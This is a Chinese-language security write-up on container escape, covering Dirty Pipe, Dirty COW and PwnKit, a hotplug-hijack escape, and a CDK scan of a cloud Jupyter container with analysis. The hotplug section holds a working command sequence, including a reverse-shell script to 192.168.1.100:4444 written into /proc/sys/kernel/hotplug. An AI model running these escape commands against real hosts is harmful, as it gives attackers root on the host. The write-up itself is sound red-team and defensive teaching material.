|------------|--------------|--------------------------------------------------------------------------------------------|
| 场景 | 是否逃逸到宿主机 | 依赖条件 |
| 仅容器内提权 | 否 | 漏洞仅覆盖容器内文件(如容器内 /etc/passwd),未挂载宿主机目录或调用宿主机接口。 |
| 宿主机逃逸 | 是 | 需满足 任意一项 : 1. 容器挂载宿主机敏感目录(如 -v /:/host,挂载根目录)。 2. 容器拥有高危权限(如 CAP_DAC_READ_SEARCH)。 |
前置条件查看
1.查看挂载配置
mount | grep -E '/etc|/dev|/proc|/sys|/var/run'
危险挂载示例:
/dev/sda1 on /host_fs type ext4 (rw)
# 宿主机根目录被挂载且可写,在大多数 Linux 系统中,/dev/sda1 通常就是宿主机的根分区(/)。
如果挂载了根目录,我们就可以把/host_fs 类比宿主机的根目录一样,例如:执行cat /host_fs/etc/passwd,效果就等同于在宿主机上执行cat /etc/passwd
2. 检查容器的 Capabilities(高危权限)
cat /proc/1/status | grep CapEff
输出解读:
-
CapEff: 0000003fffffffff→ 拥有几乎所有权限(特权容器)。
-
CapEff: 00000000a80425fb→ 普通权限(安全配置)。
1、Dirty Pipe漏洞(CVE‑2022‑0847)
Dirty Pipe 是 Linux 内核中的一个本地提权(Local Privilege Escalation)漏洞,被认为是继 "Dirty COW" (CVE-2016-5195) 之后最严重的内核漏洞之一。
-
漏洞本质 :它允许非特权用户(即使是容器内的普通用户)向只读文件(Read-Only files)中注入或覆盖数据。
-
根本原因 :Linux 内核中管道(Pipe)缓冲区管理的逻辑缺陷。具体来说,是
splice()系统调用未能正确清除管道缓冲区的标志位,导致新写入的数据被错误地合并到了目标文件的页面缓存(Page Cache)中。 -
影响范围:
-
Linux Kernel 5.8 及以上版本。
-
在 5.16.11, 5.15.25, 5.10.102 等版本中被修复。
-
2. 技术原理:从管道到页面缓存的"污染"
为了理解它为什么能导致逃逸,我们需要理解它如何打破了"只读"的限制。
-
管道(Pipe)与页面(Page):在 Linux 中,管道不仅传输数据,还通过引用(Reference)的方式指向内存中的页面(Page)。这是一种零拷贝(Zero-copy)优化。
-
Splice 系统调用 :
splice()允许将数据从文件直接传输到管道,而无需在用户空间和内核空间之间复制数据。它会将文件的页面缓存(Page Cache)的引用加载到管道的环形缓冲区(Ring Buffer)中。 -
标志位未初始化 :漏洞的核心在于
PIPE_BUF_FLAG_CAN_MERGE标志。-
当攻击者使用
splice()将只读文件的页面加载到管道时,内核没有初始化管道缓冲区的标志位。 -
如果攻击者之前向管道写入过数据,并设置了
CAN_MERGE标志,这个标志可能会残留。
-
-
非法合并(Dirty) :当攻击者随后向管道写入任意数据时,内核看到
CAN_MERGE标志,会错误地认为它可以将新数据直接追加到之前的页面中。 -
后果:这个"之前的页面"实际上是只读文件的页面缓存。内核直接修改了页面缓存中的数据。由于页面缓存是所有进程共享的,这等于修改了文件本身(尽管磁盘上的文件可能没变,但所有读取该文件的进程都会看到被篡改的内容,直到缓存刷新)。
3. 容器逃逸路径分析 (Container Escape Vector)
Dirty Pipe 本质上是内核层面的漏洞,而容器共享宿主机内核。这意味着容器内的进程可以利用该漏洞修改宿主机的文件系统,前提是这些文件对容器是"可见"的(哪怕是只读可见)。
攻击/逃逸逻辑(理论流程)
在红蓝对抗演练中,Dirty Pipe 的逃逸通常遵循以下逻辑:
-
踩点(Reconnaissance):
-
检查内核版本是否在受影响范围内(5.8 <= version < 修复版本)。
-
寻找从宿主机挂载进容器的只读文件。常见的如
/etc/passwd,或者某些底层配置文件。即便没有显式挂载,利用容器镜像内的文件(如/bin/sh或/usr/bin/runc如果是动态链接且共享)也可能影响宿主机或其他容器。
-
-
利用 Dirty Pipe 覆盖文件:
-
攻击者编写利用程序,利用
splice()将目标文件(例如映射进来的只读/etc/passwd)的页面缓存拉入管道。 -
向管道写入恶意数据(例如将 root 的密码字段修改为已知值,或者移除
x占位符)。 -
由于页面缓存被修改,宿主机上读取
/etc/passwd时也会看到修改后的内容。
-
-
获取宿主机权限:
-
如果修改了
/etc/passwd,攻击者可以通过 SSH 连接宿主机或使用su切换到 root。 -
另一种更激进的方式是修改具有 SUID 权限的可执行文件(如果容器内能访问到宿主机的 SUID 程序),注入 shellcode。
-
为什么它比 Dirty COW 更可怕?
-
Dirty COW 主要是写时复制(COW)的竞争条件,利用起来比较慢且不稳定。
-
Dirty Pipe 是逻辑错误,利用极为稳定,且无需等待竞争条件,瞬间即可完成覆盖。
4. 漏洞验证与检测 (Blue Team)
在不进行破坏性攻击的前提下,你可以使用以下 Shell 命令来验证当前环境是否存在风险。
步骤一:检查内核版本
这是最直接的判断依据。
uname -r
-
易受攻击版本:5.8.x, 5.10.x (<5.10.102), 5.15.x (<5.15.25), 5.16.x (<5.16.11)。
-
示例 :如果输出
5.10.0-10-amd64,大概率是脆弱的。
步骤二:使用非破坏性 PoC 检测
安全研究人员开发了不会破坏文件的检测工具。原理是尝试修改一个临时的只读文件。
-
创建一个只读文件。
-
编译并运行检测代码(GitHub 上有许多
CVE-2022-0847的检测脚本),尝试利用漏洞向该文件写入字符串。 -
如果写入成功,说明内核存在漏洞;如果失败,说明已修复。
注意 :在生产环境验证时,绝对不要 尝试去修改 /etc/passwd 或系统二进制文件,这会导致系统崩溃或无法登录。仅对 /tmp 下的临时文件进行测试。
Dirty Pipe 是一个通过"欺骗内核管道缓冲区标志位"来实现"只读文件覆写"的严重漏洞。在容器环境中,它打破了只读挂载的隔离假设,允许恶意容器直接篡改宿主机内存中的文件缓存,从而实现逃逸和提权。
详细攻击流程请见:
2、Dirty COW 漏洞**(CVE‑2016‑5195)**
Dirty COW (CVE-2016-5195) 是 Linux 内核历史上最著名的提权漏洞之一。它的名字来源于漏洞的成因:Dirty Copy-On-Write(脏写时复制)。
-
漏洞本质 :这是一个存在于 Linux 内核内存子系统中的**竞争条件(Race Condition)**漏洞。
-
核心影响 :它允许非特权用户(包括容器内的普通用户)向只读内存映射中写入数据。
-
后果:
-
在普通主机上:普通用户可以修改
/etc/passwd或具备 SUID 权限的二进制文件,直接获得 Root 权限。 -
在容器环境中:如果宿主机的内核受影响,容器内的进程可以利用该漏洞修改宿主机的内存(特别是 vDSO 区域),从而破坏隔离,实现逃逸。
-
2. 漏洞技术原理:COW 与竞争条件
为了理解它是如何"隔山打牛"的,我们需要理解 Linux 的 Copy-On-Write (COW) 机制。
正常流程
当一个进程请求写入一个"只读"文件映射(Private Mapping)时,内核不会直接修改原文件,而是会执行以下操作:
-
复制(Copy):内核将原页面复制一份到新的内存位置。
-
写入(Write):在这个新的副本上进行写入操作。
-
映射更新:将进程的页表指向这个新的副本。
原文件保持不变,这就是"写时复制"。
漏洞流程
Dirty COW 利用了内核在处理 madvise(MADV_DONTNEED) 系统调用时的逻辑缺陷。攻击者通过两个线程制造竞争:
-
线程 A:疯狂地向只读映射的内存地址写入数据(触发缺页中断和 COW 逻辑)。
-
线程 B :疯狂地调用
madvise(MADV_DONTNEED),告诉内核"我不需要这个页面了,请丢弃它"。
Race Condition:
在特定时机下,madvise 可能会在 COW 过程完成前就清理了页表项。当写入操作最终执行时,内核可能会错误地通过 get_user_pages 重新获取原始文件的物理页面,并移除了只读限制,导致数据直接写入了原始的、本应只读的物理内存页面。
3. 容器逃逸路径分析 (The Escape Vector)
在容器中利用 Dirty COW 逃逸,最经典的手法是篡改 vDSO (Virtual Dynamic Shared Object)。
-
什么是 vDSO?
vDSO 是内核为了加速某些系统调用(如 gettimeofday)而映射到所有用户进程内存空间的一小块代码区。它由内核直接维护,通常是只读的。
-
为什么选它?
-
它是共享的:宿主机上所有进程(包括 Root 进程)和容器内进程看到的 vDSO 映射的是同一块物理内存。
-
它是可执行的:虽然 vDSO 页面是只读的,但它包含可执行代码。
-
理论攻击流程
-
定位 vDSO:
攻击者在容器内扫描内存(/proc/self/maps),找到 vDSO 的内存地址范围。
-
利用 Dirty COW 修改 vDSO:
攻击者利用上述的竞争条件,强制向 vDSO 的内存页面写入恶意 Shellcode。由于 vDSO 对应的是物理内存,这一修改会瞬间影响到宿主机上的所有进程。
-
劫持执行流:
攻击者通常会覆盖 vDSO 中的一个常用函数(例如 clock_gettime 或 gettimeofday)。
- 当宿主机上的高权限进程(如 Cron 守护进程或 SSHD)下次调用该函数时,它们实际上执行的是攻击者注入的 Shellcode。
-
反弹 Shell:
Shellcode 执行后,以宿主机 Root 身份向攻击者反弹 Shell,逃逸完成。
4. 漏洞验证与防御 (Blue Team)
在演练中,验证漏洞是否存在不需要实际进行逃逸或破坏文件,只需检查内核版本或使用非破坏性的探测工具。
步骤一:检查内核版本
Dirty COW 影响范围极广(Linux Kernel >= 2.6.22),直到 2016 年 10 月才修复。
uname -r
-
受影响版本示例:
-
< 4.8.3
-
< 4.7.9
-
< 4.4.26
-
CentOS 7 的 3.10.0-327.36.3 之前的版本
-
步骤二:验证 PoC (概念性)
你可以使用类似 dirtyc0w.c 的代码进行验证,但目标应该是一个临时的无害文件,而不是系统文件。
# 1. 创建一个只读文件(模拟受保护资源)
echo "Original Content" > foo
chmod 0404 foo
# 2. 编译并运行验证工具(需要自行查找合规的 PoC 代码)
# 该工具会尝试利用 Dirty COW 将字符串 "Pwned" 写入 foo
./dirtyc0w foo "Pwned"
# 3. 检查结果
cat foo
# 如果输出变成 "Pwned",说明内核存在漏洞。
Dirty COW 不需要复杂的配置(如特权模式或特定的 Cap),只要内核版本在受影响范围内,且容器内用户有权限执行基本的内存操作代码,即可实施逃逸。它演示了底层内核漏洞如何完全无视上层容器技术的隔离机制。
防御核心:
-
打补丁:这是唯一有效的根治手段。确保宿主机内核已升级到修复版本。
-
Seccomp :虽然不能完全阻止,但严格的 Seccomp 配置(禁用
ptrace等辅助调用)可能会干扰某些 exploit 的稳定性。
相关攻击流程请见:
https://mp.weixin.qq.com/s/CEb4nYwZOKBb2nEQ8dcCeQ
https://mp.weixin.qq.com/s/rWbwS3C9w4vLVL-ts6vM-w?poc_token=HDGQWGmjgqCX6czIUMjNuik6D9RV7iqzaBYM7AVF
3、Polkit 提权(CVE‑2021‑4034 PwnKit)
这是一个非常经典的 Linux 提权漏洞,因为其利用条件极低(大多数 Linux 发行版默认安装 Polkit 且易受攻击)而备受关注。
-
漏洞名称:PwnKit
-
受影响组件 :
pkexec(Polkit 工具集的一部分)。Polkit 是 Linux 系统中用于控制系统范围权限的组件。 -
漏洞类型:内存破坏 / 越界读取(Out-of-bounds Read)导致的环境变量注入。
-
影响后果 :任何非特权用户(即使是在受限 shell 或容器内)可以通过利用该漏洞,在目标系统上获得 Root 权限。
-
CVSS 评分:7.8 (高危)。虽然只能本地利用,但因为极为稳定且几乎通杀所有主流 Linux 发行版(Ubuntu, CentOS, Debian, Fedora 等),实际危害极大。
2. 漏洞技术原理:argc=0 的灾难
pkexec 的设计初衷是允许授权用户以其他用户(通常是 root)的身份执行命令。
核心逻辑缺陷:
在 C 语言的 main(int argc, char *argv[]) 函数中,pkexec 假设 argc(参数个数)至少为 1(即程序名本身)。但在漏洞版本中,如果攻击者通过特定的 execve 调用方式将 argc 设置为 0,pkexec 的参数处理逻辑就会出错。
-
越界读取 :当
argc为 0 时,argv列表是空的(以 NULL 结尾)。pkexec试图读取argv[1](它认为这是要执行的程序名),但实际上它读到了内存中紧随argv之后的envp(环境变量列表) 的第一个元素。 -
环境变量注入 :攻击者利用这一越界行为,将精心构造的环境变量(特别是
GCONV_PATH)"偷渡"进pkexec的执行环境。 -
代码执行 :
pkexec在打印错误信息时会触发字符集转换(iconv),这会读取GCONV_PATH指向的路径来加载动态链接库(.so)。 -
提权 :攻击者将
GCONV_PATH指向含有恶意 Payload 的目录,pkexec(作为 SUID Root 程序)就会以 Root 权限加载并执行攻击者的恶意库文件。
3. 攻击流程逻辑分析 (Attack Chain)
在红蓝对抗中,PwnKit 的利用流程通常分为以下三个阶段。这里描述的是逻辑步骤,而非可执行代码。
第一阶段:环境准备 (Setup)
攻击者需要在目标机器上(或容器内)构建一个恶意的执行环境。
-
创建恶意共享库 :编写一个 C 程序,在构造函数(
__attribute__((constructor)))中包含提权代码(例如setuid(0); system("/bin/sh");),并将其编译为共享对象(.so文件)。 -
构建目录结构 :创建特定的目录结构(例如
GCONV_PATH=.),并在其中放置恶意的字符集配置文件(gconv-modules),将其指向刚才编译的恶意库。
第二阶段:触发漏洞 (Trigger)
攻击者编写一个利用程序(通常是 C 代码),使用 execve 系统调用来启动 pkexec。
-
关键动作 :在调用
execve时,将参数数组argv设置为NULL(即构造argc=0的场景)。 -
注入 Payload :同时在环境变量数组
envp中,放入精心构造的字符串(用于触发越界读取后被解析为GCONV_PATH)。
第三阶段:提权与逃逸 (Escalation & Escape)
-
pkexec启动,检测到argc为 0(但逻辑未正确处理),错误地将环境变量当作了要执行的程序名。 -
程序试图在 PATH 中查找这个"程序名",这导致了环境变量的重新写入,成功将不安全的
GCONV_PATH引入了 SUID 环境。 -
pkexec触发错误打印,调用iconv。 -
iconv根据恶意的GCONV_PATH加载攻击者的.so文件。 -
恶意代码以 Root 权限执行,弹出一个 Root Shell。
关于"逃逸"的特别说明:
PwnKit 本身是 LPE (本地提权) 漏洞,不是直接的容器逃逸漏洞。
-
场景 A (虚拟机):直接获得 VM 的 Root 权限。
-
场景 B (容器) :如果你在 Docker 容器内利用 PwnKit,你将获得容器内的 Root 权限。
-
如果容器是特权的 (
--privileged),或者挂载了敏感目录,获得容器内 Root 往往意味着可以轻松逃逸到宿主机(例如通过挂载磁盘、加载内核模块等)。 -
因此,PwnKit 常被用作容器逃逸攻击链的第一步(先拿容器 Root,再利用其他机制逃逸)。
-
4. 漏洞验证与排查 (Blue Team)
作为运维人员,你不需要运行攻击代码,可以通过以下安全方式验证和排查。
步骤一:检查 Polkit 版本
大多数 Linux 发行版通过包管理器检查版本:
# Debian/Ubuntu
dpkg -l policykit-1
# CentOS/RHEL
rpm -qa polkit
步骤二:验证 pkexec 是否有 SUID 位
PwnKit 利用的前提是 pkexec 具有 SUID 权限。
ls -l /usr/bin/pkexec
# 输出示例:-rwsr-xr-x 1 root root ...
# 注意那个 's' (rws),如果存在,且版本未修复,则存在风险。
步骤三:非破坏性验证 (Dry Run)
你可以运行以下命令查看 pkexec 的帮助信息。如果系统已修复,它通常能正常处理参数。未修复的系统本身不会通过简单的命令暴露漏洞,必须通过编译代码验证 argc=0 的行为。
最安全的验证方法是使用发行版提供的漏洞扫描脚本,或者直接检查补丁日志。
总结:
PwnKit (CVE-2021-4034) 之所以可怕,是因为它利用了极其基础的参数处理错误 (argc=0) 和 SUID 程序的特权组合。在容器环境中,它是攻击者从"普通用户"跃升为"容器管理员"的高速通道,是防御者必须优先修补的短板。
参考文档:
4. hotplug 热插拔劫持
利用 /proc/sys/kernel/hotplug 进行容器逃逸,其核心逻辑与之前的 core_pattern 和 cgroupV1 的release_agent 非常相似。它们都属于**"利用内核回调机制(Kernel Callbacks)"**的攻击手法。
简单来说,就是攻击者在容器内修改了内核的某个全局配置,告诉内核:"一旦发生某件事(比如设备热插拔),请以 Root 身份执行我指定的脚本。"
以下是参考您提供的思路总结的完整逃逸流程。
1. 漏洞原理:什么是 Kernel Hotplug?
-
机制:Linux 内核支持设备的动态增减(热插拔)。当你在电脑上插入 USB 或创建一个虚拟网卡时,内核会检测到硬件变化。
-
通知:内核需要通知用户空间的程序来处理这个新设备(比如加载驱动)。
-
执行 :内核会读取
/proc/sys/kernel/hotplug文件中的路径,并以 宿主机 Root 权限 去执行该路径下的程序。 -
漏洞点 :容器与宿主机共享内核。如果容器是特权模式(
--privileged),容器内就能修改这个文件。攻击者可以把它修改为指向自己的恶意脚本。
2. 逃逸前提条件
-
特权容器 :容器必须以**
--privileged启动** ,或者拥有CAP_SYS_ADMIN权限,且/sys被挂载为可写。 -
内核配置支持 :宿主机内核编译时开启了
CONFIG_UEVENT_HELPER(许多现代 Linux 发行版改用udev或systemd-udevd处理热插拔,可能不再直接使用此文件,但在嵌入式或旧系统中依然有效)。 -
容器内可见:攻击者能在容器内触发设备变化(如操作网络设备)。
3. 详细攻击流程 (Step-by-Step)
第一步:探测宿主机真实路径 (Reconnaissance)
和利用 release_agent 一样,内核是在宿主机 的文件系统里找脚本。我们在容器里写的脚本 /tmp/evil.sh,在宿主机看来路径并不是 /tmp/evil.sh。
我们需要通过 OverlayFS 的挂载信息,找到容器目录在宿主机上的真实物理路径。
# 从 /etc/mtab 或 /proc/mounts 中提取 overlay 的 upperdir
# 这行命令会输出类似 /var/lib/docker/overlay2/DiffId/diff 的路径
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "Payload 在宿主机上的前缀路径是: $host_path"
第二步:编写恶意 Payload (Weaponization)
创建一个反弹 Shell 脚本。
# 1. 编写脚本内容
cat > /tmp/evil.sh << EOF
#!/bin/bash
# 这是一个反弹 Shell,连接到攻击者 IP
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
EOF
# 2. 赋予执行权限(必须!)
chmod +x /tmp/evil.sh
第三步:篡改内核回调路径 (Exploitation)
将 /proc/sys/kernel/hotplug 的内容修改为我们 Payload 在宿主机上的绝对路径。
# 拼接完整路径
full_path="$host_path/tmp/evil.sh"
# 写入内核配置
echo "$full_path" > /proc/sys/kernel/hotplug
第四步:触发热插拔事件 (Trigger)
现在万事俱备,只需要制造一个"设备变动"事件,让内核去调用我们的脚本。
在容器内,最简单的热插拔事件就是创建或删除一个网络接口。
# 尝试创建一个 dummy 类型的虚拟网卡
ip link add dummy0 type dummy
# 或者,如果 dummy0 已存在,删除它也能触发
# ip link delete dummy0
此时发生的事情:
-
你执行
ip link add。 -
内核检测到网络设备变更。
-
内核读取
/proc/sys/kernel/hotplug,发现了$full_path。 -
内核以 宿主机 Root 身份执行
$full_path(即/tmp/evil.sh)。 -
你的监听机器收到宿主机的 Root Shell。
4. 总结与防御
攻击链条图解:
-
修改配置 (echo path > /proc/sys/kernel/hotplug)
-
制造事件 (ip link add ...)
-
内核回调 (Kernel executes helper)
-
Root Shell (Escape successful)
防御建议:
-
严禁特权模式 :永远不要在生产环境使用
--privileged启动容器。 -
使用 AppArmor/Seccomp :限制容器对
/proc/sys的写入权限,或限制mount、ip等系统调用。 -
内核升级:现代 Linux 发行版通常使用 netlink 也就是 udev 来处理热插拔事件,而不是这种旧式的 callout helper 机制,这在一定程度上减少了攻击面。
参考文档:
03 利用CDK工具在AI earth中演示
CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
包括三个功能模块:
- Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
- Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
- Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
下载地址:https://github.com/cdk-team/CDK/
参考文档案例:
CDK (Container Penetration Toolkit) 是容器安全评估的神器。它集成了如果不使用工具我们需要手动敲几十条命令才能完成的侦察工作。
我们分步进行。现在的首要任务是把 CDK 的二进制文件放进你的 AI Earth 容器里,并跑起来基础扫描。
请按我的步骤操作:
第一步:下载适配的 CDK 版本
由于 AI Earth 的底层通常是 Linux x86_64 架构,你需要下载对应的版本。
-
在你的本地电脑上,打开 CDK 的 GitHub Releases 页面:
-
找到最新版本(Latest),下载名为
cdk_linux_amd64的文件。-
注意:不要下载源码,直接下载编译好的二进制文件。
-
注意:文件名带
thin的是精简版,带upx的是压缩壳版,通常我们首选不带后缀的标准版以保证功能的完整性和稳定性。
-
第二步:将 CDK 上传到 AI Earth
由于你的环境是 AI Earth(通常基于 JupyterLab),你有两种简单的方法把它传进去:
方法 A:直接拖拽上传(推荐)
-
在你的 AI Earth Jupyter 网页左侧文件栏中。
-
直接把你刚才下载的
cdk_linux_amd64文件拖进去。 -
等待上传完成。
方法 B:如果容器能联网,用命令下载
在 AI Earth 的终端(Terminal)里执行:
wget https://github.com/cdk-team/CDK/releases/download/v1.0.1/cdk_linux_amd64
# 注意:如果网络不通,请使用方法 A
第三步:赋予执行权限并重命名
在 AI Earth 的终端里,执行以下命令,把文件名改短点方便操作,并给它"绿灯"通行证:
# 重命名(可选,为了方便)
mv cdk_linux_amd64 cdk
# 赋予执行权限(关键一步)
chmod +x cdk
第四步:执行基础评估 (Evaluate)
这是最安全也是信息量最大的一步。eval 命令会自动检测几十种常见的容器逃逸点、敏感信息泄漏和错误配置。
请在终端执行:
# 用于本地信息收集,寻找可用的逃逸点,使用 --full 参数时会包含本地文件扫描。
./cdk evaluate
(或者简写为 ./cdk eval)
执行结果如下:
bash
[Information Gathering - System Info]
2026/01/08 03:11:05 current dir: /home/jovyan
2026/01/08 03:11:05 current user: jovyan uid: 1000 gid: 100 home: /home/jovyan
2026/01/08 03:11:05 hostname: jupyter-319038548--232149
2026/01/08 03:11:05 debian ubuntu 22.04 kernel: 5.10.134-18.0.5.lifsea8.x86_64
[Information Gathering - Services]
2026/01/08 03:11:05 sensitive env found:
KUBERNETES_SERVICE_PORT_HTTPS=443
2026/01/08 03:11:05 sensitive env found:
KUBERNETES_SERVICE_PORT=443
2026/01/08 03:11:05 sensitive env found:
KUBERNETES_PORT_443_TCP=tcp://192.168.0.1:443
2026/01/08 03:11:05 sensitive env found:
aliyun_log_crd_user_defined_id=k8s-group-cd657511758ea47eaadbad2c5c62e71a8
2026/01/08 03:11:05 sensitive env found:
KUBERNETES_PORT_443_TCP_PROTO=tcp
2026/01/08 03:11:05 sensitive env found:
KUBERNETES_PORT_443_TCP_ADDR=192.168.0.1
2026/01/08 03:11:05 sensitive env found:
KUBERNETES_SERVICE_HOST=192.168.0.1
2026/01/08 03:11:05 sensitive env found:
KUBERNETES_PORT=tcp://192.168.0.1:443
2026/01/08 03:11:05 sensitive env found:
KUBERNETES_PORT_443_TCP_PORT=443
2026/01/08 03:11:05 service found in process:
51 9 python
2026/01/08 03:11:05 service found in process:
69 9 python
2026/01/08 03:11:05 service found in process:
85 9 python
[Information Gathering - Commands and Capabilities]
2026/01/08 03:11:05 available commands:
curl,wget,find,ps,python,python3,node,npm,apt,dpkg,ssh,git,vi,mount,gcc,g++,make,base64,perl,sudo
2026/01/08 03:11:05 Capabilities:
CapEff: 0000000000000000
Cap decode: 0x0000000000000000 =
[Information Gathering - Mounts]
[Information Gathering - Net Namespace]
host unix-socket found, seems container started with --net=host privilege.
[Information Gathering - Sysctl Variables]
2026/01/08 03:11:05 net.ipv4.conf.all.route_localnet = 0
[Discovery - K8s API Server]
2026/01/08 03:11:05 checking if api-server allows system:anonymous request.
api-server forbids anonymous request.
response:{"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User \"system:anonymous\" cannot get path \"/\"","reason":"Forbidden","details":{},"code":403}
[Discovery - K8s Service Account]
load K8s service account token error.:
open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory
[Discovery - Cloud Provider Metadata API]
2026/01/08 03:11:05 failed to dial Alibaba Cloud API.
2026/01/08 03:11:06 failed to dial Azure API.
2026/01/08 03:11:06 failed to dial Google Cloud API.
2026/01/08 03:11:06 failed to dial Tencent Cloud API.
分析如下:
这份日志非常有价值!这是 CDK 对你当前环境做的一次全面体检报告。
第一部分:基础身份信息 (System Info)
这一部分相当于"病人基本信息",告诉我们现在的环境到底是什么样。
-
[Information Gathering - System Info]- 意思:正在收集系统基础信息。
-
current dir: /home/jovyan-
解释:当前所在的目录。
-
分析:这是 Jupyter 镜像的标准家目录。
-
-
current user: jovyan uid: 1000 gid: 100 home: /home/jovyan-
解释 :当前用户叫
jovyan,用户ID是 1000(普通用户),组ID是 100。 -
安全含义 :非常重要! 这说明你不是 Root(Root 的 ID 是 0)。如果是 Root,攻击难度会降低 90%。这里是普通用户,说明环境基础很好。
-
这就是为什么
CapEff显示全为0的原因。绝大多数容器逃逸漏洞(包括 runC、Cgroup、Core Pattern)都失效了。这些攻击必须要求你有 Root 权限才能触发。
除非你能进行提权(Privilege Escalation),否则你被死死地按在普通用户的权限里。
-
hostname: jupyter-319038548--232149-
解释:主机名。
-
安全含义:这通常是 Kubernetes 的 Pod 名称,再次印证了我们在容器里。
-
-
debian ubuntu 22.04 kernel: 5.10.134-18.0.5.lifsea8.x86_64-
解释:系统版本是 Ubuntu 22.04,内核是 5.10。
-
安全含义 :内核版本
5.10比较新,意味着**"脏牛 (Dirty Cow)"等古老的内核提权漏洞在这里 无法使用**。lifsea8后缀表明这是阿里云自研的 Alibaba Cloud Linux。
-
第二部分:服务与环境变量 (Services)
这一部分是在翻"口袋",看看环境变量里有没有管理员不小心遗落的钥匙(密码、Token)。
-
[Information Gathering - Services]- 意思:正在搜集运行的服务和敏感环境变量。
-
sensitive env found: KUBERNETES_SERVICE_PORT_HTTPS=443(及后面几行类似的)-
解释 :发现了包含敏感关键词的环境变量。这些
KUBERNETES_...变量是 K8s 自动注入给每一个 Pod 的,告诉 Pod 怎么联系 K8s 管理中心。 -
安全含义 :正常现象。这只是告诉我们身处 K8s 集群中,并不代表泄露了密码。
-
-
sensitive env found: aliyun_log_crd_user_defined_id=...-
解释:阿里云日志服务的配置 ID。
-
安全含义:这是业务配置,通常不包含可以直接利用的凭证。
-
-
service found in process: 51 9 python(及后面几行)-
解释 :CDK 发现 PID 为 51、69、85 的进程正在运行
python。 -
安全含义:这是 Jupyter Notebook 的核心进程,属于正常业务。
-
第三部分:可用工具与权限 (Commands and Capabilities)
这一部分是在盘点"武器库",看看手里有哪些工具可以用,以及有没有特权。
-
[Information Gathering - Commands and Capabilities]- 意思:搜集可用命令和 Linux 能力(Capabilities)。
-
available commands:curl,wget,find,ps,python,python3,node,npm,apt,dpkg,ssh,git,vi,mount, gcc,g++,make,base64,perl, sudo
解释:列出了当前环境里已经安装好的工具。
-
安全含义:
-
curl/wget:方便下载黑客工具。 -
gcc/g++:意味着如果发现漏洞,可以在本地编译 C 语言攻击代码(高危)。 -
sudo:发现了 sudo 命令! 但我们之前的测试证明它需要密码,所以虽然有这把枪,但没子弹(没密码)。
-
-
Capabilities: CapEff: 0000000000000000-
解释 :这是最关键的一行!
CapEff代表当前进程的有效能力值。全为 0。 -
安全含义 :极度安全。这意味着你没有任何特权(如挂载磁盘、修改网络、调试进程)。这直接宣判了绝大多数"容器逃逸"手段的死刑。
-
第四部分:挂载点 (Mounts)
-
[Information Gathering - Mounts]-
解释:(空)。
-
安全含义 :CDK 没有发现明显的危险挂载(比如直接挂载了宿主机的
/etc或/var/run/docker.sock)。这是好消息。
-
第五部分:网络命名空间 (Net Namespace)
-
[Information Gathering - Net Namespace]- 意思:检查网络隔离情况。
-
host unix-socket found, seems container started with --net=host privilege.-
解释:CDK 发现了一些只有在宿主机上才会有的 Unix 套接字文件。
-
安全含义 :高危预警! 这就是我们之前反复提到的 "主机网络模式 (Host Network)"。它认为容器和宿主机共用了网络,这是整个环境里唯一的"软肋"。
-
CDK 怀疑这个容器共享了宿主机的网络栈。
如果这是真的,意味着没有网络隔离。
- 你可以监听宿主机的网络流量(抓包)。
- 你可以访问宿主机上只监听
127.0.0.1的内部服务(比如本地数据库、管理接口)。- 你可以直接扫描局域网内的其他机器。
第六部分:内核参数 (Sysctl Variables)
-
[Information Gathering - Sysctl Variables] -
net.ipv4.conf.all.route_localnet = 0-
解释:这是一个网络配置项。
-
安全含义 :
0代表禁止将发送到 127.0.0.1 的流量路由到外部。这是安全的默认配置。
-
第七部分:K8s API 探测 (Discovery - K8s API Server)
这一部分是尝试推门进入 K8s 管理中心。
-
[Discovery - K8s API Server] -
checking if api-server allows system:anonymous request.- 解释:正在测试:"我能不登录(匿名)就访问 K8s API 吗?"
-
api-server forbids anonymous request.- 解释:API Server 拒绝了匿名请求。
-
response: ... "message":"forbidden: User \"system:anonymous\" ... code":403}- 安全含义 :安全。管理员关闭了匿名访问,想通过未授权访问接管集群是行不通的。
第八部分:K8s 凭证探测 (Discovery - K8s Service Account)
这一部分是去找那把"万能钥匙"(Service Account Token)。
-
[Discovery - K8s Service Account] -
load K8s service account token error.: open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory-
解释:尝试读取默认存放 Token 的文件,结果报错"没有这个文件"。
-
安全含义 :非常安全 。管理员特意配置了
automountServiceAccountToken: false。没有这把钥匙,我们就无法以合法身份调用 K8s 接口。
-
管理员非常聪明,他们取消挂载了默认的 Service Account Token。
你无法使用经典的"Pod 漫游"攻击(即利用 Pod 的 Token 去访问 K8s API Server 窃取集群信息)。这条路堵死了。
第九部分:云厂商元数据探测 (Discovery - Cloud Provider Metadata API)
这一部分是尝试去偷宿主机的"身份证"(AK/SK)。
-
[Discovery - Cloud Provider Metadata API] -
failed to dial Alibaba Cloud API.- 解释:尝试连接阿里云的元数据地址(通常是 100.100.100.200)。失败。
-
failed to dial Azure API....failed to dial Tencent Cloud API.-
解释:尝试连接其他云厂商的地址。全部失败。
-
安全含义 :安全。说明网络防火墙拦截了对元数据服务的请求。即使我们在主机网络模式下,也无法偷取云账号的凭证(AK/SK)。
-
📝 总结:这份体检单说明了什么?
这份日志完美地印证了我们之前的测试结论:
-
基础很牢 :非 Root 用户,无特权能力 (
CapEff: 0)。 -
防护很严:没有 Token,K8s API 不允许匿名,元数据服务连不通。
-
唯一弱点 :确实被识别为了 主机网络模式 (
--net=host)。但由于缺乏凭证(Token/AK),这个弱点被"降维打击"了,无法转化为实际的危害。
简单来说:CDK 跑了一圈,也没找到能直接利用的漏洞。环境非常安全。
| 测试维度 | 测试项目 | 结果 | 评价 |
|---|---|---|---|
| 内核层 | runC 覆盖 (CVE-2019-5736) | ❌ 失败 | 文件系统只读/内核修复 |
| 权限层 | Sudo 提权 | ❌ 失败 | 无密码,无免密配置 |
| 容器层 | Containerd Shim 逃逸 | ❌ 失败 | Socket 不可见 |
